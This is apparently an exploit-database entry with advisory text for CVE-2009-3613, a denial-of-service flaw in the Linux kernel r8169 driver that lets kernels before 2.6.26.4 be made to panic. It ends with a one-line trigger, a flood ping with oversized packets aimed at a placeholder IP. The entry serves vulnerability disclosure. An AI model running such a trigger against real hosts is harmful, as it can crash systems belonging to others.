Linux Kernel 2.6.x - '/drivers/net/r8169.c' Out-of-IOMMU Error Local Denial of Service

Author: Alistair Strachan
type: dos
platform: linux
port: 0
date_added: 2009-08-28
date_updated: 2014-05-11
verified: 1
codes: CVE-2009-3613;OSVDB-59068
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source: https://www.securityfocus.com/bid/36706/info

The Linux kernel is prone to a local denial-of-service vulnerability that attackers can exploit to cause an affected computer to panic.

Versions prior to the Linux kernel 2.6.26.4 are affected.

The following example is available:

ping -f -s 3000 <IP>